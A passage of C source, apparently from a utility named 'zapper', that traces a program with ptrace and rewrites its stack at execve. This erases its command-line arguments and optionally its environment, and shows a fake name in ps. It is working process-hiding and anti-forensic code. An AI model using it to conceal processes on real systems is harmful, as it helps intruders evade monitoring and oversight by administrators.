            // ERREXIT(255, "Not SYS_execve()\n"); // CAN NOT HAPPEN. We only trap execve().

        // Linux prior 5.3 does not have GET_SYSCALL_INFO.
        int ret = 1;
#ifdef PTRACE_GET_SYSCALL_INFO
        struct ptrace_syscall_info si;
        ret = ptrace(PTRACE_GET_SYSCALL_INFO, pid, sizeof si, &si);

        if (ret != -1) {
            DEBUGF("pid="CY"%d"CDY" OP #%d"CN" %d-%d\n", pid, si.op, (*status >> 8) & ~0x80, *status & 0xff);
            if (si.op != PTRACE_EVENTMSG_SYSCALL_EXIT)
                continue;
            DEBUGF(" RET=%lld\n", si.exit.rval);
            DEBUGF(" ISERR=%d\n", si.exit.is_error);
            if (si.exit.is_error != 0)
                continue;
            ret = 0;
        } else {
            if (errno != EIO)
                ERREXIT(255, "ptrace(%d)=%d %s\n", pid, ret, strerror(errno));
            // HERE: No PTRACE_GET_SYSCALL_INFO.
            // This can happen if using the Linux >= 5.3 static binary on Linux < 5.3
            ret = 1;
        }
#else
# warning "No PTRACE_GET_SYSCALL_INFO defined. Linux < 5.3? Using compat mode."
#endif
        if (ret == 1) {
            // PTRACE_GET_SYSCALL_INFO not available or call failed.
            // FIXME: May need to use PTRACE_GETREGSET to better support Linux < 5.3
        }

        *pidp = pid;
        return SYS_execve;
    }

err:
    return -1; // FATAL
}

static pid_t
start_trace_parent(const char *orig_prog, char *new_argv[]) {
    pid_t pid;
    pid_t pid_tracee;
    int ret;
    int status;

    // Try ZAPPER to be the CHILD (tracer) and trace the PARENT (tracee)
    // See ptrace_scope
    // https://www.kernel.org/doc/Documentation/security/Yama.txt
    int up[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, up) != 0)
        goto err;

    pid_tracee = getpid();
    g_pid_master = getpid();
    pid = fork();
    if (pid != 0) {
        // PARENT (tracee)

        // Wait for first child to exit. (See Note-#1)
        waitpid(pid, &ret, WUNTRACED);
#ifdef PR_SET_PTRACER
        prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY);
#else
# warning "PR_SET_PTRACE_ANY not defined. SUper old linux?"
#endif

        // Cant use kill(getpid(), SIGSTOP); because of prctl().
        close(up[0]);
        ret = write(up[1], &ret, sizeof ret); // Signal to TRACER that we are ready for ATTACH.
        ret = read(up[1], &ret, sizeof ret); // Wait for TRACER to be ready.
        close(up[1]);

        // Check if CHILD (tracer) successfully attached to us; PARENT (tracee)
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
            execvp(orig_prog, new_argv);
            exit_emu_shell(127, orig_prog);
        }

        // TRACER failed to trace us.
        kill(pid, SIGKILL);       // Kill the TRACER (if still alive)  
        return -1;
    }
    // CHILD (tracer) (pid == 0)

    // Note-#1: Fork again & let first child exit.
    // This stops SIGCHLD to be send to the real parent when the TRACER exists
    // without us messing with the sigmask.
    pid = fork();
    if (pid != 0)
        exit(0);

    g_pid = getpid();

    // Wait for TRACEE to tell us when we can attach to TRACEE.
    close(up[1]);
    if (read(up[0], &ret, sizeof ret) < 0)
        goto err;

    if (ptrace(PTRACE_ATTACH, pid_tracee, NULL, NULL) == -1)
        goto err;

    //  5 == SIGTRAP
    // 19 == SIGSTOP.
    // 1029 (SIGTRAP | PTRACE_EVENT_EXEC << 8)
    if (waitpid(pid_tracee, &ret, WUNTRACED) == -1)
        GOTOERR("waitpid(%d): %s\n", pid_tracee, strerror(errno));

    XFAIL(ptsetoptions(pid_tracee) == -1, "ptrace(%d): %s\n", pid_tracee, strerror(errno));

    // Tell TRACEE that we are attached and TRACEE can call execve().
    if (write(up[0], &ret, sizeof ret) != sizeof ret)
        goto err;

    close(up[0]);
    DEBUGF("Tracing %d\n", pid_tracee);

    ret = ptrace_until_execve(&pid_tracee, &status);
    if (ret > 0)
        return pid_tracee;
    
err:
    close(up[0]);
    close(up[1]);

    return -1;
}

static void
fix_stack(pid_t pid)
{
    size_t stack_sz;
    char *stack;
    unsigned long *stackp = NULL;
    unsigned long *valp;
    unsigned long spare_ofs = 0;
    unsigned long argv0_ofs = 0;
    unsigned long envv0_ofs = 0;
    unsigned long stack_end;
    int elft_idx;
    int idx;

    if (g_flags & FL_DRYRUN)
        return;
    // Find the end of the stack. We can not use /proc/<PID>/maps as this becomes
    // inaccessible for the tracer if the tracee changes the EUID (is this a
    // kernel bug? We are already tracing the tracee and have full control
    // of the tracee anyway, so why deny access???) 
    for (errno = 0, idx = 0, stackp = NULL; errno == 0; idx++) {
        stackp = realloc(stackp, (idx + 1) * sizeof (void *));
        stackp[idx] = ptrace(PTRACE_PEEKDATA, pid, (unsigned long)SP(g_regs) + idx * sizeof (void *), NULL);
    }

    if (idx <= 1) {
        // Can happen on EUID/EGID bins (even when root, e.g. inside docker container)
        // CAP_SYS_PTRACE not set
        DEBUGF("ERROR zapper: ptrace(%d): %s\n", pid, strerror(errno));
        // fprintf(stderr, "ERROR zapper: ptrace(%d): %s\n", pid, strerror(errno));
        return;
    }
    stack_end = SP(g_regs) + (idx - 1) * sizeof (void *);
    stack = (char *)stackp;

    stack_sz = stack_end - SP(g_regs);
    DEBUGF("=> SP 0x%lx-0x%lx (stack_sz=%zu)\n", (unsigned long)SP(g_regs), stack_end, stack_sz);
    dumpfile("stack.dat", stack, stack_sz);
    DEBUGF("argc     = %lx\n", stackp[0]);
    DEBUGF("&argv[0] = %lx\n", stackp[1]);
    char *str = &stack[stackp[1] - SP(g_regs)];
    DEBUGF("argv[0]  = '"CDR"%s""'\n"CN,  str);
    // Make argv0 smaller (See Note #2)
    char *end = str + strlen(str);
    while ((end-- > str) && (*end == ' ')) 
            *end = '\0';
    DEBUGF("argv[0]  = '"CDR"%s""'\n"CN,  str);
#ifdef DEBUG
    idx = 0;
    fprintf(out, "ARGS=");
    while ((void *)stackp[idx + 1] != NULL) {
        // DEBUGF("%lx\n", stackp[idx +1 ]);
        fprintf(out, "'%s' ", &stack[stackp[idx + 1] - SP(g_regs)]);
        idx++;
    }
    fprintf(out, "\n");
#endif

    // Find lowest address (which normally is ARGV[0] but dont have to be).
    size_t len = 0;
    valp = &stackp[1];
    argv0_ofs = stackp[1] - SP(g_regs);
    unsigned long arg_min = stack_end;
    unsigned long arg_max = SP(g_regs);
    for (; *valp != 0x00 /* NULL */; valp++) {
        arg_min = MIN(arg_min, *valp);
        arg_max = MAX(arg_max, *valp);
    }
    arg_max += strlen(&stack[arg_max - SP(g_regs)]) + 1;
    valp++; // Skip NULL

    // Skip through envp and find start of elf-table
    // stack_envp = valp;
    envv0_ofs = (valp - &stackp[0]) * sizeof (void *); 
    unsigned long env_min = stack_end;
    unsigned long env_max = SP(g_regs);
    for (; *valp != 0x00 /* NULL */; valp++) {
        env_min = MIN(env_min, *valp);
        env_max = MAX(env_max, *valp);
    }
    env_max += strlen(&stack[env_max - SP(g_regs)]) + 1;
    valp++; // Skip NULL

    unsigned long smin, smax;
    smin = MIN(arg_min, env_min);
    smax = MAX(arg_max, env_max);

    DEBUGF("ARG from +%lu to +%llu (%lu bytes)\n", arg_min - (unsigned long)SP(g_regs), arg_max - SP(g_regs), arg_max - arg_min);
    DEBUGF("ENV from +%lu to +%llu (%lu bytes)\n", env_min - (unsigned long)SP(g_regs), env_max - SP(g_regs), env_max - env_min);
    // valp now points to start of ELF Table.
    DEBUGF("stackp 0x%lx valp 0x%lx\n", (unsigned long)stackp, (unsigned long)valp);
    elft_idx = valp - stackp; // this is INDEX, not offset.
    DEBUGF("Elf Table start at idx=%d (ofs=%lu)\n", elft_idx, elft_idx * sizeof (void *));

    unsigned long ofs;
    // Find where Randomized Stack area starts and how long it is:
    for (idx = elft_idx; stackp[idx] != 0; idx += 2) {
        // After ELF-Table there is 0x00 + 16 bytes random + "x86_64\0"
        // The specs dont define which comes first so we need to check and
        // find the largest to determine where the randomized stack starts.
        if (stackp[idx] == 0x0f) {
            // pointer to AT_PLATFORM string.
            ofs = stackp[idx + 1] - SP(g_regs);
            ofs += strlen(&stack[ofs]) + 1;
            if (ofs > spare_ofs)
                spare_ofs = ofs;
        }
        if (stackp[idx] == 0x19) {
            // pointer to AT_RANDOM (16 bytes).
            ofs = stackp[idx + 1] - SP(g_regs) + 16;
            if (ofs > spare_ofs)
                spare_ofs = ofs;
        }
    }
    // size_t elft_sz = (idx - elft_idx + 2) * sizeof (void *);
    // DEBUGF("ELF Table size=%zd\n", elft_sz);

    // Calculate the gap that should be added
    // so that entire stack is still 16 bytes aligned.
    len = (smax - smin);
    unsigned long sz = stack_sz + len;
    if (sz != (sz & ~15))
        sz = (sz + 16) & ~15;

    len = sz - stack_sz;
    DEBUGF("Creating a gap of %zu bytes\n", len);

    // FIXME: we could use spare space from randomized stack, if available.
    stack = realloc(stack, stack_sz + len);
    // Copy everything down to where kernel's pointers point to.
    memcpy(stack + stack_sz, stack + stack_sz - len, len);
    stackp = (unsigned long *)stack;
    stack_sz += len;

    // Adjust the elf table that we moved to a lower address by len.
    // Find the start of the randomized (spare_ofs).
    for (idx = elft_idx; stackp[idx] != 0; idx += 2) {
        // See https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/auxvec.h
        switch (stackp[idx]) {
            case 0x19:  // AT_RANDOM
            case 0x1f:  // AT_EXECFN, static=outside, dynamic=inside
            case 0x21:  // ptr to "\177ELF\002\001\001\000", normally outside stack region.
            case 0x0f:  // AT_PLATFORM
            case 0x18:  // AT_BASE_PLATFORM
                if (stackp[idx + 1] == 0)
                    break; // Value is NULL (not set)
                if (stackp[idx + 1] - SP(g_regs) > stack_sz) {
                    DEBUGF("[0x%02x] Value outside of fake stack: 0x%lx\n", (unsigned int)stackp[idx], stackp[idx + 1]);
                    break; // Address is at higher address that wasnt moved.
                }
                // DEBUGF("Adjusting 0x%02x [%s]\n", (unsigned int)stackp[idx], &stack[stackp[idx + 1] - SP(*regsp)]);
                stackp[idx + 1] -= len;
                break;
        }
    }

    // Adjust address off all argv-pointers
    valp = (unsigned long *)&stackp[1]; // [0] is argc and argv starts at [1]
    while (*valp != 0)
        *valp++ -= len;
    // ZAP argv
    memset(&stack[(unsigned long)arg_min - SP(g_regs) + len], 0, arg_max - arg_min);

    // Adjust address off all env-pointers
    valp = (unsigned long *)&stack[envv0_ofs];
    while (*valp != 0)
        *valp++ -= len;
    // ZAP env
    if (g_flags & FL_ZAP_ENV)
        memset(&stack[(unsigned long)env_min - SP(g_regs) + len], 0, env_max - env_min);

    // Copy g_cur_prg_name (-a name) to argv[0] (whom's location the kernel
    // references). This may overlap into ENV if g_cur_prg_name is longer
    // than the original argv[*] but only when it's the tracee's tracee
    // (a grand-tracee of the tracer). See also Note #2.
    size_t max_sz = smax - smin;
    size_t prglen = MIN(max_sz - 1, strlen(g_cur_prg_name));
    memcpy(&stack[argv0_ofs + len], g_cur_prg_name, prglen);
    stack[argv0_ofs + len + prglen] = '\0';

    // dumpfile("stack2.dat", stack, stack_sz);
    // Increase the stack size (by decreasing the stack pointer).
    SP(g_regs) -= len;
    DEBUGF("New stack 0x%llx-0x%lx (size=%llu == %zu)\n", SP(g_regs), stack_end, stack_end - SP(g_regs), stack_sz);

    ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &g_iov);

    ptpokecpy(pid, (void *)SP(g_regs), stack, stack_sz);
    free(stack);
}

static void
follow_forever(pid_t pid)
{
    int status;

    while (ptrace_until_execve(&pid, &status) > 0) {
        fix_stack(pid);
    }    
    exit(255);
}

// Trap at ELF's AT_ENTRY
static pid_t
start_trace(char *orig_prog, char *new_argv[]) {
    pid_t pid;
    char *orig_argv0 = new_argv[0];
    char *enlarged_argv0 = NULL;
    char *ptr;

    // Determine name of programm to show in 'ps'.
    if (! (g_flags & FL_PRGNAME) ) {
        if ( (ptr = strrchr(orig_prog, '/')))
            g_cur_prg_name = ++ptr;
        else
            g_cur_prg_name = orig_prog;
    }

    // Note #2: ADM reported a bug when under special conditions the -a name
    // may leak into the environment:
    // $ ./zapper  -a 12345678990abcdef cat
    // $ xxd /proc/$(pidof 12345678990abcdef)/environ | head
    // The solution is to make enough space for the tracer to put the fake
    // -a name and remove the extra string later when tracing the execve().
    size_t glen = strlen(g_cur_prg_name);
    size_t alen = strlen(new_argv[0]);
    if (glen > alen) {
        enlarged_argv0 = malloc(glen + 1);
        enlarged_argv0[glen] = '\0';
        memcpy(enlarged_argv0, new_argv[0], alen);
        memset(enlarged_argv0 + alen, ' ', glen - alen);
        DEBUGF("Enlarging argv[0] by %zu spaces to make space for longer -a name\n", glen - alen);
        new_argv[0] = enlarged_argv0;
    }
    if (!(g_flags & FL_FOLLOW)) {
        // Detach after zapping if we are a background process.
        if (fcntl(0, F_GETFD, 0) != 0) {
            // STDIN is closed. Assume I'm a background process.
            g_flags &= ~FL_STAY_ATTACHED;
        } else {
            // STDIN is open
            if (getpid() != tcgetpgrp(0))
                g_flags &= ~FL_STAY_ATTACHED;  // Got started as background process by shell
        }
    }

    // Try for the CHILD to be the TRACER and trace this process.
    if (!(g_flags & FL_FORCE_TRACER_IS_PARENT)) {
        pid = start_trace_parent(orig_prog, new_argv);
        if (pid > 0) {
            DEBUGF("Trapped PARENT pid %d\n", pid);
            if (!(g_flags & FL_FOLLOW))
                g_flags &= ~FL_STAY_ATTACHED;
            goto done;  // We are now the CHILD.
        }
        DEBUGF("ERROR: TRACER failed to be the PARENT\n");
        fprintf(stderr, "ERROR: Try with -c option\n");
        exit(255);
    }

    // ### This PARENT is the TRACER and tracing the CHILD (TRACEE)
    // Must always stay attached even if background process in case caller checks $!
    g_flags |= FL_STAY_ATTACHED;
    pid = start_trace_child(orig_prog, new_argv);
    DEBUGF("[%d] Tracing child %d\n", getpid(), pid);
    XFAIL(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &g_iov) == -1, "ptrace(%d): %s\n", pid, strerror(errno));
done:
    if (enlarged_argv0) {
        free(enlarged_argv0);
        new_argv[0] = orig_argv0;
        DEBUGF("restored to %p\n", new_argv[0]);
    }
    return pid;
}

int
main(int argc, char *argv[], char *envp[]) {
    pid_t pid;
    int i;

    init_vars();
    do_getopts(argc, argv);

    pid = start_trace(argv[optind], &argv[optind]);

    fix_stack(pid);

    // TRACEE is a background process _OR_ TRACER is the child process
    if (!(g_flags & FL_STAY_ATTACHED)) {
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        DEBUGF("All done. Tracer exiting....\n");
        exit(0);
    }

    // Destroy my own argv
    for (i = 1; i < argc; i++) {
        DEBUGF("SelfZAP '%s' %zu\n", argv[i], strlen(argv[i]));
        memset(argv[i], 0, strlen(argv[i]));
    }

    // Destroy my own envp    
    if (g_flags & FL_ZAP_ENV) {
        for (i = 0; envp[i] != NULL; i++)
            memset(envp[i], 0, strlen(envp[i]));
    }

    if (g_flags & FL_FOLLOW) {
        DEBUGF("FOLLOWING...\n");
        follow_forever(pid);
        exit(255);  // NOT REACHED.
    }

    ptrace(PTRACE_DETACH, pid, NULL, NULL);

    // Wait for child to terminate
    waitpid(pid, &i, 0);
    if (WIFEXITED(i))
        exit(WEXITSTATUS(i));
    exit(255); // NOT REACHED
}